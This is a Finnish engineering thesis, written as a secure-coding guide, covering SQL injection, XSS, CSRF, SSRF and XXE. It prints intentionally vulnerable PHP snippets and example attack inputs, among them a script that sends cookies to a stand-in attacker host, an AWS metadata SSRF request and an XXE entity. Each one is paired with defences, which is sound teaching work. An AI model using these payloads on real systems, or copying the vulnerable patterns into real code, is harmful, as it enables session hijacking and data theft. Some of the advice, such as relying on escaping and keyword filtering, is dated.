jamk

Ohjelmistoturvallisuuden perusteet kehittäjille

Jere Rajala

Opinnäytetyö
Huhtikuu 2022
Insinööri (AMK), tieto- ja viestintätekniikka

jamk | Jyväskylän ammattikorkeakoulu
University of Applied Sciences

jamk

Kuvailulehti

Rajala Jere

Ohjelmistoturvallisuuden perusteet kehittäjille

Jyväskylä: Jyväskylän ammattikorkeakoulu. Huhtikuu 2022, 42 sivua.

Tekniikan ala. Tieto- ja viestintätekniikan tutkinto-ohjelma. Opinnäytetyö

Julkaisun kieli: suomi

Julkaisulupa avoimessa verkossa: kyllä

Tiivistelmä

Opinnäytetyön tavoitteena oli ohjelmistokehittäjille suunnatun oppaan laatiminen tietoturvallisten ohjelmistojen kehityksestä. Työhön koottiin olennaisimmat asiat, jotka jokaisen kehittäjän tulisi huomioida erilaisten ohjelmistojen kehitysprosessissa. Työssä käytiin läpi mm. verkkosovellusten, mobiililaitteiden ja -sovellusten sekä sulautettujen järjestelmien haavoittuvuuksia ja kryptografian perusteita.

Työssä käytiin läpi olennaisimmat haavoittuvuuksiin johtavat ohjelmointivirheet ja erilaisia tapoja välttää niitä. Aiheet on valittu OWASP:in kymmenen ajankohtaisimman haavoittuvuuden listalta, sekä toisaalta myös tutkittu sovelluskehittäjäyhteisön keskuudessa usein esiin nousevia asioita. Tavoitteena oli antaa lukijalle perustason tietämys haavoittuvuuksista, mutta myös opettaa ns. ”out of the box”-ajattelutapaa, joka auttaa kehittäjää itsenäisesti analysoimaan koodiaan ja havaitsemaan tietoturvaongelmia. Tavoitteena oli myös jokaisen haavoittuvuuden yhteydessä käydä läpi yleisesti hyväksytyt ratkaisut kyseiseen tietoturvaongelmaan.

Tutkimuksessa noudatettiin konstruktiivista tutkimusmenetelmää ja käytetyt lähteet olivat pääosin julkisia, lähteiden joukossa on kuitenkin myös IEEE Xplore-tietokannasta peräisin olevia lähteitä. Työn tärkeys kehittäjäyhteisön kannalta korostuu siinä, että olennaisimmat asiat, jotka jokaisen kehittäjän tulisi tietoturvasta tietää, on koottu yhteen, jolloin lukijan tietoperusta muodostuu huomattavasti kattavammaksi kuin esimerkiksi yksittäisen artikkelin tietojen perusteella. Tuloksena syntynyt ohje vastaa pitkälti alussa asetettuja tavoitteita, joista tarkemmin tuloksia käsittelevässä luvussa. Työn lukeminen antaa kehittäjälle kattavan ymmärryksen ohjelmistokehitykseen liittyvistä tietoturvaongelmista ja hyvät valmiudet harjoittaa tietoturvallista ohjelmointia.

Avainsanat (asiasanat)

ohjelmistoturvallisuus, kyberturvallisuus, tietoturva, ohjelmistokehitys

Muut tiedot (salassa pidettävät liitteet)

Ei salassa pidettäviä tietoja.

jamk

Description

Rajala Jere

The basics of software security for developers

Jyväskylä: JAMK University of Applied Sciences, April 2022, 42 pages.

Engineering and Technology. Degree programme in Information- and Communication Technology

Permission for open access publication: Yes

Language of publication: Finnish

Abstract

The goal of thesis was to create a guide for software developers about building secure software. The thesis was constructed by gathering all relevant information that every developer should know about security in software development process. The guide goes through web-, mobile- and embedded application vulnerabilities and covers basics of cryptography.

The thesis goes through all most common programming mistakes that lead to various vulnerabilities, as well as commonly accepted ways to avoid them. The subjects were picked from OWASP Top Ten list, as well as from commonly discussed topics in developer community. The goal was to give reader a basic level of understanding about vulnerabilities, but also introduce “out of the box” way of thinking, which helps developer to analyze his code and detect security problems. The goal was also to introduce commonly accepted solutions to each of the vulnerabilities.

The constructive research method was used in thesis. Most of the information is from public sources, but also from sources provided by IEEE Xplore database. The importance of thesis from perspective of developer community is that all the information that every developer should know about security is gathered in one publication, which gives reader much deeper insight into security than just single article. The results satisfy goals that were set in beginning of thesis, to the extent described in last chapters. Overall thesis gives reader a good understanding of software security problems and good starting point for practicing safe programming.

Keywords/tags (subjects)

software security, cyber security, software development

Miscellaneous (Confidential information)

No confidential information

Sisältö

Kuviot

Lyhenteet

AES	Advanced Encryption Standard
CSRF	Cross-Side Request Forgery
ECDSA	Elliptic Curve Digital Signature Algorithm
GPS	Global Positioning System
HTTP	Hypertext Transfer Protocol
NFC	Near Field Communication
RSA	Rivest-Shamir-Adleman
SHA	Secure Hash Algorithm
SQL	Structured Query Language
SSRF	Server-Side Request Forgery
URL	Uniform Resource Locators
XML	Extensible Markup Language
XSS	Cross-Site Scripting
XXE	XML External Entities

1 Johdanto

Tietoturva on ollut ensimmäisten ohjelmistojen valmistuksesta lähtien merkittävä seikka, jonka merkitys on korostunut tietokoneiden ja ohjelmistojen tullessa kuluttajien saataville. Nykypäivänä lähes kaikki käytössä olevat elektroniset laitteet ovat joko prosessori- tai mikroprosessoriohjattuja, mikä tarkoittaa, että ne suorittavat konekielisiä ohjeita eli ohjelmakoodia. Teknologian kehittäjille tämä mahdollistaa lukemattomia mahdollisuuksia analogisiin laitteisiin verrattuna, mutta myös mahdollistaa haavoittuvuuksien hyödyntämisen täysin uudella tasolla. Haavoittuvuudella tarkoitetaan ohjelmointivirhettä, joka mahdollistaa sovelluksen tai tietojärjestelmän väärinkäytön. Kyberrikollisuuden aiheuttamat vahingot yrityksille, yksityishenkilöille ja valtioille kohosivat kolmeen triljoonaan Yhdysvaltojen dollariin vuonna 2015, ja luku kasvaa jatkuvasti. (Morgan 2020.) Ohjelmistoturvallisuudesta huolehtimalla voidaan siis suoraan vähentää taloudellisia tappioita sekä suojata ihmisten yksityisyyttä ja turvallisuutta kokonaisuudessaan.

Opinnäytetyössä käydään läpi yleisimmät tietoturvauhat erilaisissa ohjelmistoissa ja laitteissa, kuten verkkosovelluksissa, mobiilisovelluksissa ja -laitteissa sekä sulautetuissa järjestelmissä, ja erilaisia menetelmiä, joilla ohjelmistokehittäjä voi ratkaisuissaan torjua näitä uhkia. Työssä ei syvennytä minkään yksittäisen ohjelmiston yksittäiseen ohjelmointivirheeseen, joka on aiheuttanut haavoittuvuuden, vaan pyritään antamaan lukijalle ymmärrys siitä mihin kyseinen haavoittuvuus perustuu, jotta lukija ymmärtäisi kuinka voi itse välttyä tekemästä samaa virhettä. Työn lopussa käsitellään myös kryptografian perusteita osana modernia tietojen luottamuksellisuuden ja eheyden suojaamista. Työn tarkoituksena on myös auttaa lukijaa ymmärtämään hyökkääjien ”out of the box”-ajattelutapaa ja antaa näin lukijalle myös valmiudet arvioida itse sisältääkö hänen koodinsa mahdollisesti muita, harvinaisempia haavoittuvuuksia. Työssä käsiteltävät aiheet on luokiteltu verkko- ja mobiilisovellusten sekä sulautettujen järjestelmien haavoittuvuuksiin niiden esiintymisen perusteella, mutta tietyissä tapauksissa sama haavoittuvuus voi esiintyä myös usealla eri osa-alueella. Esimerkiksi mobiilisovellukset ovat usein riippuvaisia palvelinpuolestaan, jolloin verkkosovellusten haavoittuvuudet koskevat rajoitetusti myös mobiilisovelluksia. Tästä voidaan vetää johtopäätös, että tietoturva on yhtä vahva kuin sen heikoin lenkki, siksi jokaiseen aihealueeseen perehtyminen on tärkeää ohjelmistokehittäjän erikoistumisalasta riippumatta. Lukijalta ei odoteta

syvällistä kokemusta ohjelmoinnista, mutta se auttaa ymmärtämään työssä käsiteltävät asiat paremmin. Työ on suunnattu ammatikseen ohjelmointia harjoittaville sekä ohjelmoinnin opiskelijoille. Työ soveltuu esimerkiksi oheismateriaaliksi ohjelmistoturvallisuuden henkilöstökoulutuksiin.

2 Tutkimusmenetelmät

2.1 Tutkimuskysymys

Tutkimuksen tarkoituksena on selvittää, miten erilaisia ohjelmistoja voidaan luoda tietoturvallisesti, eli mitkä asiat ohjelmistokehittäjän on otettava huomioon modernien ohjelmistojen kehitysprosessissa, jotta valmiin tuotantoversion haavoittuvuudet voitaisiin minimoida. Tämän työn tutkimuskysymys on siis: *Mitä tietoturvallisessa ohjelmistokehityksessä on huomioitava?*
Tutkimuskysymys painottuu siis erilaisten haavoittuvuuksien tunnistamiseen ja ymmärtämiseen, sekä torjuntamenetelmien soveltamiseen.

2.2 Tutkimusmetodologia

Tutkimusmetodologiat jakautuvat pääasiassa kahteen ryhmään: kvantitatiiviseen eli määrälliseen tutkimukseen ja kvalitatiiviseen eli laadulliseen tutkimukseen. Kvalitatiivinen eli laadullinen tutkimus tarkoittaa ei-numeerisen tiedon keräämistä aiheen ymmärtämiseksi. Kvalitatiivisella tutkimusmenetelmällä pyritään saamaan syventävä näkemys tutkittavaan ongelmaan. Kvalitatiivisessa tutkimusmenetelmässä tutkija tekee itse havaintoja ja pyrkii ymmärtämään niitä, tilastollisen tiedon keräämisen sijaan. (Bhandari 2020.) Kvantitatiivinen eli määrällinen tutkimus tarkoittaa numeerisen tilastotiedon keräämistä erilaisten aiheeseen liittyvien ilmiöiden ymmärtämiseksi. Kerättyä tietoa voidaan käyttää esimerkiksi yhdistelmien ja keskiarvojen selvittämiseen sekä erilaisten ennusteiden tekemiseen ja teorian vahvistamiseen. Kvantitatiivisessa tutkimusmenetelmässä tutkija tekee siis johtopäätöksiä tilastotiedosta. (Bhandari 2020.)

2.3 Valittu tutkimusmenetelmä

Ohjelmistoturvallisuuden ongelmat voidaan ratkaista vain perehtymällä kuhunkin aiheeseen riittävän syvällisesti, mikä tukee kvalitatiivisen menetelmän valitsemista. Tietty määrä tilastollista tietoa on kuitenkin välttämätöntä tuoda esiin tutkimuksen aikana, jotta erilaiset tietoturvaongelmat voidaan priorisoida. Työn on tarkoitus toimia ohjeena ohjelmistokehittäjille, ja parhaaksi tutkimusmenetelmäksi katsottiin konstruktiivinen tutkimus, joka on yksi laadullisen tutkimuksen menetelmistä. Konstruktiivisessa tutkimuksessa pyritään ratkaisemaan reaalimaailman ongelmia ja siten

kehittämään kyseistä tieteenalaa eteenpäin. Konstruktiivisessa tutkimuksessa analysoidaan saatavilla olevaa tietoa ja kehitetään ns. konstruktio, eli ratkaisu ongelmaan. (Lukka 2001.) Konstruktiivisessa tutkimuksessa tärkeää on riittävän lähdeaineiston saatavuus, muuten riskinä on objektiivisuuden puute. Esimerkkejä teoreettisesta konstruktiosta ovat matemaattiset mallit ja algoritmit (Lukka 2001). Tässä työssä syntyvä konstruktio on ohje turvallisten ohjelmistojen kehitykseen. Tutkimuksessa oli käytössä useita eri puolueettomia tietokantoja, kuten IEEE:n (Institute of Electrical and Electronics Engineers) ylläpitämä Xplore-tietokanta. Objektiivisuuden varmistamiseksi lähteiden sisältämää tietoa vertailtiin muihin lähteisiin kattavasti. Työssä käsiteltävät aiheet valittiin kehittäjäyhteisön ajankohtaisimpien keskustelunaiheiden perusteella, tässä käytettiin lähteenä mm. OWASP:ia, organisaatiota, joka julkaisee vuosittain kymmenen merkittävimmän haavoittuvuuden listan erikseen verkkosovelluksille, mobiilisovelluksille ja sulautetuille järjestelmille. Työssä käsiteltävät aiheet on pitkälti valittu näitä listoja hyödyntäen.

2.4 Aineiston kerääminen

Työssä käytettävää aineistoa kerätessä kiinnitettiin erityistä huomiota lähteiden luotettavuuteen. Lähteinä käytettiin pääasiassa tietoturva-alan yritysten ja asiantuntijoiden artikkeleita ja verkkojulkaisuja. Aineistolle asetettiin seuraavat kriteerit:

- Aineiston julkaisusta saa olla kulunut enintään kymmenen vuotta aikaa
- Aineisto on saatavilla sähköisessä muodossa
- Aineisto on kirjoitettu suomeksi tai englanniksi
- Aineisto on kyberturvallisuusalan asiantuntijan ja/tai asiantuntijaorganisaation julkaisema

Lähteinä käytettävää aineistoa on haettu mm. IEEE Xplore-tietokannasta. Hakusanoina on käytetty haavoittuvuuksien nimiä. Tutkimuksessa havaittiin kuitenkin, että suurin osa uusimmasta olennaisesta tiedosta on saatavilla avoimessa verkossa julkaistuissa asiantuntijaorganisaatioiden artikkeleissa, joten työssä on hyödynnetty pääasiassa näitä lähteitä. Avoin pääsy lähteisiin myös helpottaa tutkimuksen vertaisarviointia.

2.5 Tutkimuseettinen tarkastelu

Työssä noudatetaan Jyväskylän ammattikorkeakoulun eettisiä periaatteita (JAMK n.d.). Työssä ei loukata tekijänoikeuksia. Alkuperäisiin teoksiin viitataan JAMK:in raportointiohjeen mukaisesti ja työssä käytetään lisensoituja ohjelmistoja. Työssä ei käsitellä salassa pidettäviä tietoja, ja kaikki esiteltävät haavoittuvuudet sekä työkalut on julkistettu aikaisemmissa tutkimuksissa, joten erillistä tutkimuslupaa ei tarvittu. Työssä käsiteltävät tiedot perustuvat avoimiin tietolähteisiin, joten henkilöiden henkilökohtaisia tietoja tai väärinkäytön mahdollistavia tietoja ei tässä työssä käsitellä.

2.6 Aiemmat tutkimukset

Tietoturvasta on tehty ja julkaistu lukemattomia artikkeleita, tutkimuspapereita ja opinnäytetöitä, kuten seuraavat:

- Secure Coding Practices in Java: Challanges and Vulnerabilities (Meng, Nagy, Yao, Zhuang & Arango-Argoty 2018)
- Tietoturva dynaamisella verkkosivustolla (Kröger 2021)
- Tietoturvan ennakointi tuotekehityksessä (Kannus 2020)

Useimmat tutkimukset ja artikkelit kuitenkin syventyvät johonkin tiettyyn tietoturvaongelmaan, jolloin kokonaisuuden hahmottaminen ja riittävän tiedon kerääminen muista haavoittuvuuksista jää lukijan vastuulle. Tässä opinnäytetyössä pyritään antamaan lukijalle perustason ymmärrys ja kattava kokonaiskuva kaikista ajankohtaisista haavoittuvuuksista, joista ohjelmistokehittäjän on syytä olla tietoinen.

Käsiteltävät aiheet valittiin juuri ajankohtaisuuden ja esiintyvyyden perusteella. Tätä valintaa tehdessä lähteenä käytettiin mm. OWASP:ia (Open Web Application Security Project) joka on yksi merkittävimpiä toimijoita erityisesti verkkosovellusten tietoturvan tutkimuksessa. Kyseessä on voittoa tavoittelematon järjestö, joka tutkii verkkosovellusten haavoittuvuuksia ja julkaisee vuosittain listan ajankohtaisista haavoittuvuuksista. Tässä työssä käsiteltävät haavoittuvuudet löytyvät kaikki OWASP Top Ten-listalta, johon on listattu kymmenen merkittävintä haavoittuvuutta. (OWASP 2021.) Työssä annetaan käytännön esimerkki useimmista käsiteltävistä aiheista ja käydään myös läpi hieman harvinaisempia haavoittuvuuksia, ja ehdotetaan erilaisia ratkaisuja. Työn

uutuusarvo aiempiin tutkimuksiin ja yksittäisiin artikkeleihin verrattuna korostuu työn monipuolisuudessa.

3 Verkkosovellusten haavoittuvuuksista

3.1 Verkkosovelluksen määritelmä

Verkkosovelluksella tarkoitetaan tietokoneohjelmaa, joka noudattaa ns. asiakas-palvelin arkkitehtuuria, eli sovelluksella on asiakaspään selainpuoli (engl. client-side) ja palvelinpuoli (engl. server-side). Tiedonsiirtoon asiakaspuolen ja palvelinpuolen välillä käytetään tietoverkkoa kuten globaalia Internetiä tai esimerkiksi yhtiön sisäistä verkkoa eli intranetiä. Olennaisin seikka verkkosovelluksen määritelmässä on, että selainpuoli kommunikoi palvelimen kanssa eikä tiedon prosessointi siis tapahdu pelkästään käyttäjän tietokoneella. (Indeed Editorial Team, 2021.) Verkkosovellusten haavoittuvuuksista erityisen kriittisiä tekee se seikka, että useimmat verkkosovellukset ovat jatkuvasti yhteydessä julkiseen verkkoon eli Internetiin, joka mahdollistaa erilaiset automaatiohyökkäykset mistä päin maailmaa tahansa, toisin kuin esimerkiksi langattomien lähiverkkojen tapauksissa, joissa hyökkääjän on oltava lähietäisyydellä tukiasemaan. Yhteenvetona voidaan todeta, että hyökkäyksiä verkkosovelluksia vastaan ei voi kokonaan estää tapahtumasta, ne voidaan ainoastaan torjua.

3.2 SQL injektiot

Verkkosovellusten palvelinpuolen tyypillinen komponentti on tietokanta. Erityisen yleisiä nykypäivän verkkosovelluksissa ovat relaatiotietokannat, joita käytetään SQL-kielellä (Structured Query Language). SQL on nimensä mukaisesti ”kyselykieli” eli sitä käytetään tiedon hakemiseen tietokannasta. SQL-lauseiden kirjoittaminen on osa verkkosovelluksen palvelinpuolen ohjelmointia. Useiden verkkosovellusten toiminnan kannalta on välttämätöntä, että sovellukset ottavat vastaan käyttäjältä erilaisia syötteitä, jotka tallennetaan tietokantaan tai joita käytetään ehtona tiedon hakemiseen tietokannasta, tai aikaisemmin tallennettujen tietojen muuttamiseen. (Heller 2019.) Tällainen verkkosovellus voisi olla esimerkiksi verkkokauppa. Asiakkaan antamat tilaustiedot on pystyttävä tallentamaan tietokantaan, jotta sähköinen kaupankäynti voi käytännössä toimia. Tämä tarkoittaa sitä, että selainpuolen antama syöte täytyy palvelinpuolella liittää osaksi SQL-kyselyä, jotta tietokantapalvelin voi tallentaa syötteen. Ongelma muodostuu, mikäli tämä liittäminen teh-

dään väärin. Palvelinpuoli odottaa käyttäjältä syötteeksi dataa, kuten nimiä, osoitteita ja puhelinnumeroja, mutta ei SQL-lauseita. Jos käyttäjä kuitenkin antaa syötteenä SQL-lauseiden avainsanoja, nämä liitetään osaksi kyselyä eikä tietokantapalvelin osaa erottaa hyökkääjän kirjoittamaa osaa SQL-lauseesta, vaan suorittaa sen osana tietokantakyselyä. Tämä johtaa käytännössä siihen, että hyökkääjä voi suorittaa kohteena olevassa tietokannassa mielivaltaisen kyselyn. Tätä haavoittuvuutta kutsutaan SQL injektioksi. (Walkowski 2019.)

Havainnollistetaan haavoittuvuutta esimerkkikoodin avulla. Alla oleva PHP-koodi (Kuvio 1) on haavoittuvainen SQL injektiolle.

```php
<?php
$conn = new mysqli($servername, $username, $password, $dbname);
$name = $_POST["name"];
$sql = "INSERT INTO Customers VALUES ($name)";
$conn->query($sql)
?>
```

Kuvio 1. SQL injektiolle haavoittuvainen PHP-koodi

Tarkastellaan ylläolevaa koodia rivi kerrallaan. Ensimmäinen ja viimeinen rivi ovat osa jokaista PHP-ohjelmaa. Rivillä 2 muodostetaan yhteys SQL-tietokantapalvelimeen ja valitaan käytettävän tietokannan nimi. Rivillä 3 otetaan vastaan käyttäjän selainpuolen lähettämän HTTP POST-pyynnön data, ja tallennetaan se muuttujaan. Rivillä 4 muodostetaan SQL-kysely, johon liitetään käyttäjän antama data. Rivillä 5 kysely lähetetään tietokantapalvelimelle. Varsinainen haavoittuvuus sijaitsee rivillä 4, sillä käyttäjän antama data liitetään suoraan osaksi SQL-kyselyä ilman minkäänlaista syötteen validointia. Jos siis käyttäjä antaa syötteenä nimensä sijasta SQL-lauseen, se suoritetaan tietokantapalvelimessa verkkosovelluksen oikeuksin. Hyökkääjä voi käyttää haavoittuvuuden hyödyntämiseen esimerkiksi seuraavaa syötettä (Kuvio 2):

```
John Doe; UNION SELECT Password FROM Users
```

Kuvio 2. SQL-injektiohyökkäykseen soveltuva syöte

Ylläolevan syötteen lähettäminen HTTP POST-pyynnön datana kuvan 1 koodia suorittavalle palvelimelle saa aikaan sen, että henkilö nimeltä ”John Doe” lisätään tietokantaan Customers-tauluun, mutta sama kysely palauttaa Users-taulun Password-sarakkeen kaikki arvot, eli käyttäjien salasanat, jotka ovat useimmiten tiivistemuodossa. SQL-injektiohaavoittuvuuden torjumiseen on useita menetelmiä, joista yksi on käyttäjältä saadun syötteen erottaminen SQL-lauseen komennoista esimerkiksi PHP:n mysql_real_escape_string() funktion avulla. Tällöin tietokantapalvelin kohtelee käyttäjältä saatua syötettä datana, ei komentoina. Toinen menetelmä on syötteen suodatus, jossa SQL-avainsanat suodatetaan syötteestä pois. Jos käyttäjältä pyydetty syöte on esimerkiksi hänen puhelinnumeronsa, ei ole perusteita sallia muunlaista syötettä kuin numeroita. (Rubens 2021.) Käytännössä tehokkain tapa SQL injektioiden torjumiseen on sellaisten ohjelmointikirjastojen ja -kehysten käyttäminen, joihin on toteutettu sisäänrakennettu suojaus SQL injektioita vastaan edellä mainittuja menetelmiä hyödyntäen, ja joiden toteutus on asiantuntijoiden toimesta tarkastettu. Tällaisia ovat esimerkiksi Django, Entity Framework ja Ruby on Rails. (Boyer 2018.)

3.3 Cross-Site Scripting (XSS)

Cross-site scripting, josta käytetään lyhennettä XSS, on yksi yleisimmistä verkkosovellusten haavoittuvuuksista. XSS mahdollistaa hyökkääjän koodin (tyypillisesti JavaScriptin) suorittamisen käyttäjän selaimessa. XSS hyökkäyksen kohteena on siis verkkosovelluksen asiakaspuoli eli selainpuoli. Haavoittuvuus aiheutuu käyttäjän antaman syötteen puutteellisen validoinnin seurauksena. Tyypillinen esimerkki haavoittuvuudesta on verkkosivuston kommentointikenttä. Tämä kenttä ottaa vastaan käyttäjältä syötettä, syöte tallennetaan tietokantaan ja näytetään automaattisesti jokaiselle käyttäjälle, joka käy kyseisen verkkosivuston kommentointipalstalla. Mikäli syötteen validointi laiminlyödään, hyökkääjä voi kirjoittaa kommenttikenttään tekstin sijasta JavaScript-koodia, joka suoritetaan kaikkien käyttäjien selaimissa, jotka käyvät kyseisellä sivulla. Tätä hyökkäysmenetelmää voidaan käyttää esimerkiksi session kaappaamiseen eli sessiotunnisteiden varastamiseen, selaimen uudelleenohjaukseen ja moniin muihin tarkoituksiin. Hyökkäys ei kuitenkaan välttämättä edellytä mahdollisuutta tallentaa hyökkäyskoodi tietokantaan. Hyökkäyskoodi voidaan myös upottaa linkkiin, jolloin linkin avaavan käyttäjän selain syöttää koodin itse esimerkiksi hakukenttään, ja verkkosivun näyttäessä haun tulokset käyttäjälle käyttäjän selain suorittaa haitallisen koodin. (Walkowski 2020.) Seuraavaa koodia (Kuvio 3) voidaan käyttää session kaappaamiseen XSS-hyökkäyksellä (Security SE 2014).

```
<script>
document.location="http://hackerserver.com/index.php?cookie="+document.cookie;
</script>
```

Kuvio 3. XSS hyökkäyskoodi

Yllä olevan koodin suorittaminen käyttäjän selaimessa aiheuttaa evästeiden lähettämisen HTTP GET-pyyntönä hyökkääjän palvelimelle. Useat verkkosovellukset käyttävät evästeiden sisältämää tietoa sessiotunnisteena, joten evästeiden kaappaus tekee session kaappauksesta mahdollista. XSS haavoittuvuuden torjuminen edellyttää, että käyttäjän antama syöte käsitellään palvelinpuolella siten, ettei selain voi tulkita syötettä HTML-dataksi. Käyttäjän antaman syötteen validointi on siis olennaisinta XSS haavoittuvuuden torjumisessa. (Yusof & Pathan 2016.) Vastaava käsittely täytyy tehdä myös selainpuolella linkkiin upotetun XSS:n estämiseksi. Toisin sanoen käyttäjän antama syöte on koodattava muotoon, jossa selain kohtelee sitä tekstinä, ei HTML-elementteinä. Varmin ja turvallisin tapa tässäkin tapauksessa on asiantuntijoiden vahvistamien ohjelmointikirjastojen käyttö. Esimerkiksi PHP-ohjelmointikielelle on saatavilla seuraavat kirjastot. (Sengupta 2021.)

- HTML purifier
- PHP Anti-XSS
- htmLawed

3.4 Cross-Site Request Forgery (CSRF)

Edellisessä luvussa näytettiin esimerkki session kaappauksesta XSS-hyökkäyksen avulla. Koodin suorittaminen käyttäjän selaimessa ei kuitenkaan ole tarpeen, mikäli verkkosovellusta ei ole suojattu väärennettyjä HTTP pyyntöjä vastaan. Hyökkäysmenetelmässä, josta käytetään lyhennettä CSRF, huijataan käyttäjä lähettämään pyyntö verkkosovelluksen palvelimelle, jolle hän on kirjautunut. Tyypillisesti tämä tehdään naamioimalla haitallisen pyynnön sisältävä linkki siten, ettei käyttäjä ymmärrä linkin sisältöä ja avaa linkin. Tällöin suojaamattoman verkkosovelluksen näkökulmasta pyyntö on peräisin käyttäjän selaimesta ja pyyntöön on liitetty käyttäjän sessiotunniste, minkä selain tekee automaattisesti. HTTP GET pyyntö, jolla siirretään rahaa 10 euroa kuvitteelliselta pankkitililtä toiselle (Kuvio 4) voisi näyttää esimerkiksi seuraavalta. (Kaczanowski 2021.)

```
http://bank.com/transfer?recipient=Bob&amount=10
```

Kuvio 4. HTTP pyyntö rahan siirtoon

Kuviossa 5 esitetään, miten ylläolevaa pyyntöä voidaan muokata CSRF-hyökkäykseen (Kaczanowski 2021).

```
http://bank.com/transfer?recipient=Hacker&amount=1000000
```

Kuvio 5. HTTP pyyntö CSRF-hyökkäykseen

CSRF-hyökkäyksiltä voidaan suojautua käyttämällä palvelinpuolen ohjelmistokehyksiä, joissa on sisäänrakennettu suojaus tämän tyyppisiä hyökkäyksiä vastaan, kuten Microsoftin .NET. Mikäli sisäänrakennettua suojausta ei ole, voidaan soveltaa ns. Anti-CSRF tunnisteita. Tällainen tunniste lähetetään vastauksena jokaiseen pyyntöön käyttäjän selaimelle, ja palvelinpuoli jää odottamaan vastausta selaimelta ennen pyynnön hyväksymistä. Mikäli selain vastaa lähettämällä saman tunnisteen takaisin, ei kyseessä ole CSRF-hyökkäys, joten pyyntö voidaan hyväksyä. (Kaczanowski 2021.)

3.5 Server-Side Request Forgery (SSRF)

Tietyissä tapauksissa käyttäjällä on mahdollisuus saada verkkosovellus lataamaan tietoa ulkopuolisista lähteistä. Tällainen voi olla esimerkiksi sovellus, joka tarjoaa mahdollisuuden Youtube-videon upottamiseen. Tällöin käyttäjä antaa syötteenä URL-osoitteen, johon sovelluksen palvelinpuoli lähettää HTTP pyynnön. Mikäli käyttäjän syötteenä antaman URL-osoitteen validointi laiminlyödään, mahdollistaa tämä hyökkäyksen, josta käytetään lyhennettä SSRF. Tällöin verkkosovelluksen palvelinpuoli lataa tietoa hyökkääjän määrittelemästä lähteestä, kuten esimerkiksi verkkosovelluksen kanssa samassa sisäverkossa olevasta rajapinnasta. Tämä antaa hyökkääjälle mahdollisuuden kiertää verkkotason suojaukset. (Muscat 2022.) Usein esimerkiksi tietokantapalvelin konfiguroidaan siten, ettei kenellekään ole pääsyä palvelimelle suoraan Internetistä, vaan palvelimen käyttö vaatii pääsyä sisäverkkoon eli esimerkiksi VPN-yhteyttä. SSRF-hyökkäyksellä tämä voidaan kiertää. Seuraava koodi (Kuvio 6) on haavoittuvainen SSRF-hyökkäykselle (Muscat 2022).

```
$url = $_GET['url'];

$image = fopen($url, 'rb');
```

Kuvio 6. SSRF-hyökkäykselle haavoittuvainen koodi

Yllä olevassa koodissa vastaanotetaan URL-osoite HTTP GET-pyynnön parametrina. Tämän jälkeen kyseisestä URL-osoitteesta ladataan dataa, mikä oletetaan kuvatiedostoksi. Hyökkääjällä on kuitenkin täysi mahdollisuus päättää URL-osoitteen sisällöstä, joten esimerkiksi seuraavalla pyynnöllä (Kuvio 7) hyökkääjä saa haltuunsa palvelimen kanssa samassa sisäverkossa olevan AWS EC2-virtuaalikoneen metadatan (Muscat 2022).

```
/?url=http://169.254.169.254/latest/meta-data/
```

Kuvio 7. SSRF-hyökkäykseen soveltuva HTTP pyyntö

Verkkosovelluksen palvelinpuoli ei voi siis olettaa, että käyttäjän antamat URL-osoitteet ovat luotettavia. Tehokkain menetelmä SSRF-hyökkäyksen torjumiseen on palvelimen palomuurin konfiguroiminen ns. ”white list” periaatteella. Toisin sanoen palomuurille määritetään ennalta mihin osoitteisiin palvelimen sallitaan lähettää pyyntöjä, jolloin luvattomat pyynnöt estetään. (Muscat 2022.)

3.6 XML External Entity Attack (XXE)

Useiden verkkosovellusten rajapinnat hyväksyvät selainpuolelta saatavan syötteen tyypillisesti joko JSON (JavaScript Object Notation) tai XML (Extensible Markup Language) muodossa. XML on tapa esittää strukturoitua dataa. XML ja JSON ovat molemmat dataformaatteja tiedonsiirtoa ja varastointia varten, ja niiden sisältämän datan lukeminen on koneelle helppoa. XML-protokolla sisältää kuitenkin ominaisuuden, jolla tietoja voidaan tarvittaessa hakea ulkopuolisista lähteistä, esimerkiksi tiedostoista tai muista rajapinnoista. XML syötteen käsittelevä komponentti (XML parser)

tulee konfiguroida siten, ettei ulkopuolisten resurssien käyttöä sallita. Muussa tapauksessa hyökkääjän on mahdollista esimerkiksi tarkastella palvelimella sijaitsevien tiedostojen sisältöä sekä suorittaa SSRF-hyökkäyksiä eli pyyntöjä muille rajapinnoille. Tämä haavoittuvuus mahdollistaa tietyissä tapauksissa myös palvelunestohyökkäykset eli hyökkäykset, jotka perustuvat kohteena olevan palvelimen ruuhkauttamiseen. (Selenius 2021.) Seuraavassa kuviossa (Kuvio 8) on esimerkki XML-syötteestä, jollaista pizzatilauksia vastaanottava rajapinta voisi hyväksyä (Selenius 2021).

```
<!DOCTYPE pizza[
  <!ENTITY topping1 "Mozzarella">
  <!ENTITY topping2 "Salami">
]>
<pizza>
  <size>
    Large
  </size>
  <toppings>
    <topping>&topping1;</topping>
    <topping>&topping2;</topping>
  </toppings>
</pizza>
```

Kuvio 8. Esimerkki XML syötteestä.

Tässä esimerkissä syöte on annettu rajapinnan odottamalla tavalla, eli kovakoodattuna, mutta esimerkiksi seuraava XML-data (Kuvio 9) ohjeistaa XML-tulkkia hakemaan tiedot ulkopuolisesta lähteestä, mikä on samalla yksi SSRF-hyökkäyksen muoto (Selenius 2021).

```
<!DOCTYPE pizza[
  <!ENTITY topping1 "Mozzarella">
  <!ENTITY topping2 SYSTEM "http://secret-internal-api.local/admin/all-the-sensitive-things/">
]>
<pizza>
  <size>
    Large
  </size>
  <toppings>
    <topping>&topping1;</topping>
    <topping>&topping2;</topping>
  </toppings>
</pizza>
```

Kuvio 9. XXE-injektioon soveltuva koodi

Yllä olevassa esimerkissä toinen rajapinnan odottamista parametreista annetaan suoraan, toinen neuvotaan hakemaan toisesta samassa sisäverkossa sijaitsevasta rajapinnasta, jonka kutsuminen on estetty sisäverkon ulkopuolelta. Rajapinnat tyypillisesti palauttavat parametrina saamansa tiedot vastauksen mukana, jolloin hyökkääjä saa haltuunsa salaisen rajapinnan vastauksen. Samalla periaatteella voidaan myös hakea tietoja palvelimella sijaitsevista tiedostoista. XXE-injektioilta voidaan suojautua muun muassa seuraavilla käytännöillä. (Selenius 2021.)

- Käyttämällä XML-datan käsittelyyn hyvin tunnettuja ohjelmointikirjastoja, jotka huomioivat tietoturvan.
- Konfiguroimalla XML-datan käsittelykirjasto siten, että ulkopuoliset tietolähteet (external entities) on estetty
- Käyttämällä verkkosovelluksille suunniteltua palomuuria (WAF)

3.7 Insecure Deserialization

